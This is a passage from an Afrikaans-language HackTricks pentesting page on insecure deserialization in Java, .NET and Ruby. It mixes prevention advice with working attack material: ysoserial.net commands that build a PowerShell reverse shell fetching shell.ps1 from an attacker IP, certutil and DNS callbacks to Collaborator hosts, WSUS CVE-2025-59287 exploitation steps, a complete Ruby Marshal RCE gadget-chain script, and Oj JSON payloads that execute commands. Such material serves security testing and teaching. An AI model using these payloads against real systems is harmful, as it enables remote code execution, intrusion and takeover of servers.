Oorskryf die resolveClass() metode om deserialization slegs tot toegelate klasse te beperk. Dit voorkom deserialization van enige klas behalwe dié wat uitdruklik toegelaat is, soos in die volgende voorbeeld wat deserialization slegs tot die Bicycle klas beperk:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Using a Java Agent for Security Enhancement bied ’n rugval-oplossing wanneer kodewysiging nie moontlik is nie. Hierdie metode is hoofsaaklik van toepassing op blacklisting harmful classes, deur ’n JVM-parameter te gebruik:

-javaagent:name-of-agent.jar

Dit bied ’n manier om deserialization dinamies te beveilig, ideaal vir omgewings waar onmiddellike code-wysigings onprakties is.

Kyk na ’n voorbeeld in rO0 by Contrast Security

Implementing Serialization Filters: Java 9 het serialization filters ingestel via die ObjectInputFilter interface, wat ’n kragtige meganisme bied om kriteria te spesifiseer waaraan serialized objects moet voldoen voordat hulle gedeserialiseer word. Hierdie filters kan globaal of per stream toegepas word, wat ’n fyn beheer oor die deserialization-proses bied.

Om serialization filters te gebruik, kan jy ’n global filter stel wat op alle deserialization operations van toepassing is, of dit dinamies vir spesifieke streams konfigureer. Byvoorbeeld:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Leveraging External Libraries for Enhanced Security: Libraries such as NotSoSerial, jdeserialize, and Kryo offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.

  • NotSoSerial onderskep deserialization-prosesse om die uitvoering van onbetroubare code te voorkom.
  • jdeserialize maak dit moontlik om serialized Java-objects te ontleed sonder om dit te deserialiseer, wat help om potensieel kwaadwillige inhoud te identifiseer.
  • Kryo is ’n alternatiewe serialization-framework wat spoed en doeltreffendheid beklemtoon, met konfigureerbare serialization-strategieë wat sekuriteit kan verbeter.

Verwysings

JNDI Injection & log4Shell

Vind uit wat JNDI Injection is, hoe om dit te misbruik via RMI, CORBA & LDAP en hoe om log4shell te exploiteer (en ’n voorbeeld van hierdie vuln) op die volgende bladsy:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).

Produkte

Daar is verskeie produkte wat hierdie middleware gebruik om boodskappe te stuur:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Eksploitasie

Kortom, daar is ’n klein dikte dienste wat JMS op ’n onveilige wyse gebruik. As jy dus genoeg regte het om boodskappe aan hierdie dienste te stuur (gewoonlik benodig jy geldige credentials) kan jy in staat wees om kwaadwillige serialized objects te stuur wat deur die consumer/subscriber gedeserialiseer sal word.
Dit beteken dat by hierdie eksploitasie al die clients wat daardie boodskap gaan gebruik geïnfekteer sal word.

Onthou dat selfs al is ’n diens kwesbaar (omdat dit gebruikersinvoer onveilig deserialiseer), jy steeds geldige gadgets moet vind om die kwesbaarheid te misbruik.

Die tool JMET is geskep om aan te sluit op en hierdie dienste aan te val deur verskeie kwaadwillige serialized objects te stuur wat bekende gadgets gebruik. Hierdie exploits sal werk as die diens steeds kwesbaar is en as enige van die gebruikte gadgets in die kwesbare toepassing aanwezig is.

Verwysings

.Net

In die konteks van .Net werk deserialization-exploite soortgelyk aan dié in Java, waar gadgets uitgebuit word om spesifieke code te laat loop tydens die deserialisering van ’n object.

Fingerprint

WhiteBox

Die bronkode moet ondersoek word vir voorkomste van:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Die fokus moet wees op serializers wat toelaat dat die type bepaal word deur ’n veranderlike wat onder gebruikerbeheer is.

BlackBox

Die soektog moet gerig wees op die Base64-gekodeerde string AAEAAAD///// of enige soortgelyke patroon wat op die bediener-side gedeserialiseer kan word en beheer oor die te deserialiseer tipe gee. Dit kan insluit, maar is nie beperk tot, JSON of XML strukture met TypeObject of $type.

ysoserial.net

In hierdie geval kan jy die tool ysoserial.net gebruik om die deserialization-exploite te skep. Nadat jy die git-repo afgelaai het, moet jy die tool compileer met byvoorbeeld Visual Studio.

As jy wil leer oor hoe ysoserial.net sy exploit skep kan jy hierdie bladsy nagaan waar die ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter verduidelik word.

Die hoofopsies van ysoserial.net is: --gadget, --formatter, --output en --plugin.

  • --gadget gebruik om die gadget aan te dui wat misbruik gaan word (wyser na die klas/funksie wat tydens deserialisering misbruik sal word om opdragte uit te voer).
  • --formatter, gebruik om die metode aan te dui waarmee die exploit ge-serialized sal word (jy moet weet watter library die back-end gebruik om die payload te deserialiseer en dieselfde formatter gebruik om dit te serialiseer).
  • --output gebruik om aan te dui of jy die exploit in raw of base64 wil hê. Let daarop dat ysoserial.net die payload met UTF-16LE sal encode (enkoding wat standaard op Windows gebruik word), so as jy die raw kry en dit net van ’n Linux-konsol af enkodeer, kan jy enkodering-compatibiliteitsprobleme hê wat die exploit verhinder om behoorlik te werk (in HTB JSON box het die payload in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dit sal altyd werk nie).
  • --plugin ysoserial.net ondersteun plugins om exploits vir spesifieke frameworks te bou soos ViewState

Meer ysoserial.net parameters

  • --minify sal ’n kleiner payload lewer (indien moontlik)
  • --raf -f Json.Net -c "anything" Dit sal al die gadgets aandui wat saam met ’n gegewe formatter gebruik kan word (Json.Net in hierdie voorbeeld)
  • --sf xml jy kan ’n gadget aandui (-g) en ysoserial.net sal soek na formatters wat “xml” bevat (kasus-ongevoelig)

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net het ook ’n baie interessante parameter wat help om beter te verstaan hoe elke exploit werk: --test\ Indien jy hierdie parameter aandui, sal ysoserial.net probeer die exploit lokaal, sodat jy kan toets of jou payload korrek sal werk.\ Hierdie parameter is nuttig omdat as jy die kode nagaan jy kodeblokke soos die volgende sal vind (van ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Dit beteken dat, om die exploit te toets, die code serializersHelper.JsonNet_deserialize sal aanroep

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Die vorige kode is kwesbaar vir die geskepte exploit. So as jy iets soortgelyks in ’n .Net toepassing vind, beteken dit waarskynlik dat daardie toepassing ook kwesbaar is.
Daarom laat die --test parameter ons toe om te bepaal watter kodefragmente kwesbaar is vir die deserialization exploit wat ysoserial.net kan skep.

ViewState

Kyk na this POST about how to try to exploit the __ViewState parameter of .Net to uit te voer willekeurige kode. As jy alreeds die geheimenisse ken wat deur die slagoffer-masjien gebruik word, read this post to know to execute code.

Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • Geaffekteerde endpoints:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie ontkrip en daarna met BinaryFormatter gedeserialiseer.
  • /ReportingWebService.asmx → ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget word verwerk wanneer die WSUS console die gebeurtenis invoer.
  • Hoof oorsaak: attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, sodat gadget chains uitgevoer word as die WSUS service account (dikwels SYSTEM).

Minimale uitbuiting (Reporting path):

  1. Genereer ’n .NET gadget met ysoserial.net (BinaryFormatter or SoapFormatter) en gee base64-uitset, byvoorbeeld:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. Stel SOAP op vir ReportEventBatch wat die base64 gadget insluit en POST dit na /ReportingWebService.asmx.
  2. Wanneer ’n admin die WSUS-konsole oopmaak, word die gebeurtenis deserialized en die gadget fires (RCE as SYSTEM).

AuthorizationCookie / GetCookie()

  • ’n vervalste AuthorizationCookie kan aanvaar word, decrypted, en aan ’n BinaryFormatter sink gegee word, wat pre‑auth RCE moontlik maak as dit reachable is.

Openbare PoC (tecxx/CVE-2025-59287-WSUS) parameters:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

Sien Windows Local Privilege Escalation – WSUS

Voorkoming

Om die risiko’s geassosieer met deserialization in .Net te verminder:

  • Vermy om datastrømme toe te laat om hulle objektipe te definieer. Gebruik DataContractSerializer of XmlSerializer waar moontlik.
  • Vir JSON.Net, stel TypeNameHandling op None: TypeNameHandling = TypeNameHandling.None
  • Vermy om JavaScriptSerializer met ’n JavaScriptTypeResolver te gebruik.
  • Beperk die tipes wat deserialized kan word, en verstaan die inherente risiko’s met .Net-tipes, soos System.IO.FileInfo, wat bedienerlêers se eienskappe kan wysig en moontlik kan lei tot denial of service attacks.
  • Wees versigtig met tipes wat riskante eienskappe het, soos System.ComponentModel.DataAnnotations.ValidationException met sy Value eienskap, wat uitgebuit kan word.
  • Beheer tipe-instansiasie veilig om te voorkom dat aanvallers die deserialization-proses beïnvloed, wat selfs DataContractSerializer of XmlSerializer kwesbaar kan maak.
  • Implementeer white list-kontroles deur ’n pasgemaakte SerializationBinder vir BinaryFormatter en JSON.Net te gebruik.
  • Bly ingelig oor bekende onveilige deserialization gadgets binne .Net en verseker dat deserializers nie sulke tipes instansieer nie.
  • Isoleer potensieel riskante kode van kode met internettoegang om te voorkom dat bekende gadgets, soos System.Windows.Data.ObjectDataProvider in WPF-toepassings, aan onbetroubare databronne blootgestel word.

Verwysings

Ruby

In Ruby word serialization gefasiliteer deur twee metodes binne die marshal biblioteek. Die eerste metode, bekend as dump, word gebruik om ’n object in ’n byte stream te omskep. Hierdie proses staan bekend as serialization. Omgekeerd word die tweede metode, load, gebruik om ’n byte stream terug te draai in ’n object — ’n proses bekend as deserialization.

Om geserialiseerde objecte te beveilig, gebruik Ruby HMAC (Hash-Based Message Authentication Code), wat die integriteit en egtheid van die data verseker. Die sleutel wat hiervoor gebruik word, word in een van verskeie plekke gestoor:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (meer inligting in https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Ander RCE-ketting om Ruby On Rails te exploit: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

Soos verduidelik in hierdie kwesbaarheidsverslag, as ’n gebruiker se ongefiltreerde invoer die .send()-metode van ’n Ruby-object bereik, laat hierdie metode toe om enige ander metode van die object met enige parameters aan te roep.

Byvoorbeeld, deur eval aan te roep en dan Ruby code as tweede parameter te gee, sal dit toelaat om willekeurige kode uit te voer:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Verder, as slegs een parameter van .send() deur ’n aanvaller beheer word, soos in die vorige beskrywing genoem, is dit moontlik om enige metode van die objek aan te roep wat geen argumente benodig of waarvan die argumente standaardwaardes het.
Hiervoor is dit moontlik om al die metodes van die objek op te noem om sommige interessante metodes te vind wat aan daardie vereistes voldoen.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Kyk hoe dit moontlik kan wees om pollute a Ruby class and abuse it in here.

Ruby _json pollution

Wanneer jy in ’n body sekere waardes stuur wat nie hashable is nie, soos ’n array, sal dit bygevoeg word aan ’n nuwe sleutel genaamd _json. Dit is egter moontlik vir ’n aanvaller om ook in die body ’n waarde genaamd _json te plaas met arbitrêre waardes wat hy wil. Indien die backend byvoorbeeld die waarheidsgetrouheid van ’n parameter nagaan, maar dan ook die _json-parameter gebruik om ’n aksie uit te voer, kan ’n authorisation bypass uitgevoer word.

Sien meer inligting in die Ruby _json pollution page.

Ander biblioteke

Hierdie tegniek is geneem from this blog post.

Daar is ander Ruby-biblioteke wat gebruik kan word om objects te serialize en wat dus misbruik kan word om RCE te kry tydens ’n insecure deserialization. Die volgende tabel wys sommige van hierdie biblioteke en die method wat aangeroep word van die loaded library telkens as dit unserialized word (funksie om misbruik te maak om RCE te kry basies):

LibraryInput dataKick-off method inside class
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Basiese voorbeeld:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

In die geval van ’n poging om Oj te misbruik, was dit moontlik om ’n gadget-klas te vind wat binne sy hash-funksie to_s aanroep, wat spec aanroep, wat fetch_path aanroep wat dit moontlik gemaak het om ’n willekeurige URL te haal — wat ’n uitstekende detektor is vir hierdie soort unsanitized deserialization vulnerabilities.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Daarbenewens is gevind dat met die vorige tegniek ’n gids ook in die stelsel geskep word, wat ’n vereiste is om nog ’n gadget te misbruik om dit in ’n volledige RCE te omskep met iets soos:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Kyk vir meer besonderhede in die oorspronklike pos.

Bootstrap Caching

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (vind die volledige oorspronklike pos hier).

Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:

  • Identify the Vulnerability and Environment

Die Rails-app se file upload-funksionaliteit laat ’n aanvaller toe om lêers arbitrêr te skryf. Alhoewel die app met beperkings loop (slegs sekere gidse soos tmp is skryfbaar as gevolg van Docker’s non-root user), maak dit steeds moontlik om na die Bootsnap cache directory te skryf (tipies onder tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

Bootsnap versnel Rails boottye deur gecompileerde Ruby-kode, YAML, en JSON-lêers te cache. Dit stoor cache-lêers wat ’n cache key header insluit (met velde soos Ruby version, file size, mtime, compile options, ens.) gevolg deur die gecompileerde kode. Hierdie header word gebruik om die cache te valideer tydens app opstart.

  • Gather File Metadata

Die aanvaller kies eers ’n teikenlêer wat waarskynlik tydens Rails-opstart gelaai word (bv. set.rb uit Ruby’s standard library). Deur Ruby-kode binne die container uit te voer, haal hulle kritieke metadata uit (soos RUBY_VERSION, RUBY_REVISION, size, mtime, en compile_option). Hierdie data is noodsaaklik om ’n geldige cache key te maak.

  • Compute the Cache File Path

Deur Bootsnap’s FNV-1a 64-bit hash-meganisme te replikleer, word die korrekte cache-lêerpad bepaal. Hierdie stap verseker dat die kwaadwillige cache-lêer presies geplaas word waar Bootsnap dit verwag (bv. onder tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

Die aanvaller berei ’n payload voor wat:

  • Execute arbitrary commands (for example, running id to show process info).
  • Verwyder die kwaadwillige cache ná uitvoering om rekursiewe uitbuiting te voorkom.
  • Laai die oorspronklike lêer (bv. set.rb) om te voorkom dat die toepassing crash.

Hierdie payload word gecompileer in binaire Ruby-kode en aanmekaar geplak met ’n sorgvuldig gekonstrueerde cache key header (met behulp van die vooraf versamelde metadata en die korrekte version number vir Bootsnap).

  • Overwrite and Trigger Execution

Deur die arbitrary file write kwetsbaarheid te gebruik, skryf die aanvaller die vervaardigde cache-lêer na die berekende ligging. Dan trigger hulle ’n server restart (deur na tmp/restart.txt te skryf, wat deur Puma gemonitor word). Tydens die herstart, wanneer Rails die geteikende lêer require, word die kwaadwillige cache-lêer gelaai, wat lei tot remote code execution (RCE).

Ruby Marshal-uitbuiting in praktyk (opgedateer)

Beskou enige pad waar onbetroubare bytes by Marshal.load/marshal_load uitkom as ’n RCE sink. Marshal herbou arbitrêre object-grafieke en trigger library/gem callbacks tydens materialisering.

  • Minimale kwesbare Rails-kodepad:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Algemene gadget-klasse wat in werklike kettings gesien word: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Tipiese side-effect marker ingebed in payloads (uitgevoer tydens unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Waar dit in werklike apps na vore kom:

  • Rails cache stores en session stores wat histories Marshal gebruik het
  • Agtergrondjob-backends en lêer-gebaseerde object stores
  • Enige pasgemaakte persistensie of vervoer van binaire object-blobbe

Geïndustrialiseerde gadget-ontdekking:

  • Grep na constructors, hash, _load, init_with, of metodes met newe-effekte wat tydens unmarshal aangeroep word
  • Gebruik CodeQL’s Ruby unsafe deserialization queries om bronne → sinks na te spoor en gadgets te identifiseer
  • Valideer met publieke multi-formaat PoCs (JSON/XML/YAML/Marshal)

Verwysings

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks